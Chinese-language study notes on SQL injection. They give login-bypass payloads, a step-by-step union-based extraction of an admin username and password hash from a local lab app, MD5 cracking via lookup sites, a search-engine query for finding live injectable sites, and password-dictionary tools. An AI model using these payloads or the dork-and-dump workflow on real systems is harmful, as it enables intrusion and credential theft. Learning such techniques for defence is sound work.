10.21SQL注入
SQL注入
1、万能密码:自己写的网站,找到登录窗口(必须和数据库交互)往里面插入构造的恶意代码,最后可以直接登陆进去,不需要帐号和密码。输入的恶意代码就称为万能密码。
注释符号:# -- %25 %2d%2d --+,符号后的语句不识别
后端拼接的sql语句:SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
用户名的地方没有处理,密码输入:admin ' or 1=1#
这样语句就拼接成了:SELECT * FROM `users` WHERE user = 'admin ' or 1=1#' AND password = '$pass';由于#被注释,则实际执行SELECT * FROM `users` WHERE user = 'admin ' or 1=1由于1=1永真,则会搜索出所有用户,根据后端代码
数量为1时执行成功登陆,那么把上面的or改为and ,则会搜索出账户为admin的账户只有一个,那么就能执行成功登陆
其他语句:pentest’ or 1=1#
(注意 需不需要加’ 需要根据后端代码提交的数据类型来判定,如果是字符串类型,则需要加单引号,如果是整型,则不需要加)
语句若为“真or真and假”,则判定为真。
为何出现这种问题:
后端代码在执行的过程中将用户输入的数据也当做代码来执行了,违背一个原则:代码和数据相分离
前端的传递的传输可以随意控住,参数可控;后端对前端传递过来的数据没有过滤或者过滤不严谨。最终导致万能密码sql注入。(注入的原因)
危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell
分类:
请求方式:get、post、cookie
参数形式:整形、字符型、搜索
反馈类型:报错、union、延时、布尔(时间/页面显示状态)
数据库类型:access mssql mysql pracle nosql等等
利用技术:布尔、报错、内联、堆叠、时间、联合
手工注入:
常用数据函数以及常量
@@tmpdir
@@datadir
@@basedir
@@bersion
@@hostname
Ascii()
User()
Version()
Database()
Concat()
Group_concat()
Concat_ws()
Substr()
Substr():oracle,mysql,mssql /substring():mysql,mssql /mid():mysql 注意:均有是哪个参数,第一 被截取的字符;第二 开始索引;第三 截取的长度
Letf(pa1,pa2)从左边开始截取 pa1:被截取的字符串;pa2:截取长度
Right()
Sleep()让数据库休眠
Ord()显示字符的ascii
If(条件,条件为真时的返回值或者语句,条件为假时的返回值或者语句)
If(1=1,ture,false)
Case when 条件 then 条件为真时的返回这或者语句 else 条件为假时的返回值或者语句 end
Length()计算字符串长度
联合查询
Select*from users where id =1 union select “a”,”b”,”c”;
mysql数据库中:一库一表三字段
Mysql>5.0
Information_schema 系统数据库,用来做汇总用(其他数据库的库名、表名、字段名)
Columns表中存储数据(库名、表名、字段名),需要关注该表下三个字段
Table_schema 字段存储 存储其他数据库的库名
Table_name 字段存储 存储其他数据库的表名
Column_name 字段存储 存储其他数据库的字段名
手工注入
Step1:检测注入点(可能存在sql注入的地方),
找到类似id的参数(id、uid、typeid、sid、key......),后面输入一些检测的恶意代码:
‘
‘ and 1=1#
‘ and 1=2--
-1 ‘ or ’1’=’1 等等
需不需要’ 是由后端拼接sql语句决定的
输入的恶意payload被成功执行(页面显示效果、报错信息等),说明此处有sql注入点
接下来确定注入的方式:报错、布尔、堆叠,主要是根据页面的回显效果来决定使用哪种注入技术
判断从后台数据库中选择的列数以及那几列在前端显示。
http://127.0.0.1/jdy1.5/typeid.php?typeid=1 and order by 6%23
更换数字,根据页面显示效果判断后台数据库选择的列数,5列
Union select 1,2,3,4,5%23,将typeid=非常大或-1,
发现2的位置可以注入
Step2:收集后台信息
尝试将2改为user():
http://127.0.0.1/jdy1.5/typeid.php?typeid=-1 union select 1,user(),3,4,5%23
发现2的位置可以将后台数据显示到前端
http://127.0.0.1/jdy1.5/typeid.php?typeid=-1 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
Step3:获取当前数据库下表名
select table_name from information_schema.columns where table_schema=database()
Step4:获取当前数据库下指定表下字段名
Select group_concat(distinct column_name)from information_schema.columns where table_schema=database() and table_name=表名(一般需要找后台或者敏感的数据表)
select concat(username,0x7e,password)from jdy_admin limit 0,1; //这里~用十六进制为0x7e
Step6:解密:pmd5 cmd5 chamd5 somd5......网站去找,解码后显示的就是密码
查找数据库中的password,解密即可
***注入训练***
Bing国际版搜索inurl:id=,可以找到一些能够注入的网站(不建议随便注入漏洞)
CMS内容管理系统,是网站建设走向成功的重要组成部分,常用的有:
1.企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS(.net平台)等;
2.B2C商城系统:商派shopex、ecshop、hishop、xpshop等;
3.门户建站系统:DedeCMS(织梦,PHP+MYSQL)、帝国CMS(PHP+mysql)、PHPCMS、动易、cmstop,dianCMS(易点CMS,.net平台)等;
4.博客系统:wordpress、Z-Blog等;
5.论坛社区:discuz、phpwind、wecenter等;
6.问答系统:Tipask、whatsns等;
7.知识百科系统:HDwiki;
8.B2B门户系统:destoon、B2Bbuilder、友邻B2B等;
9.人才招聘网站系统:骑士CMS、PHP云人才管理系统;
10.房产网站系统:FangCms等;
11.在线教育建站系统:kesion(科汛,ASP)、EduSoho网校;
12.电影网站系统:苹果cms、ctcms、movcms等;
13.小说文学建站系统:JIEQI CMS;
社工密码字典的生成工具:
Pydictor:强大的密码生成工具
Cupper:针对国人的社工密码生成器
Wordhound:基于推特搜索、PDF文档、甚至reddit子网站创建密码字典
易优密码生成器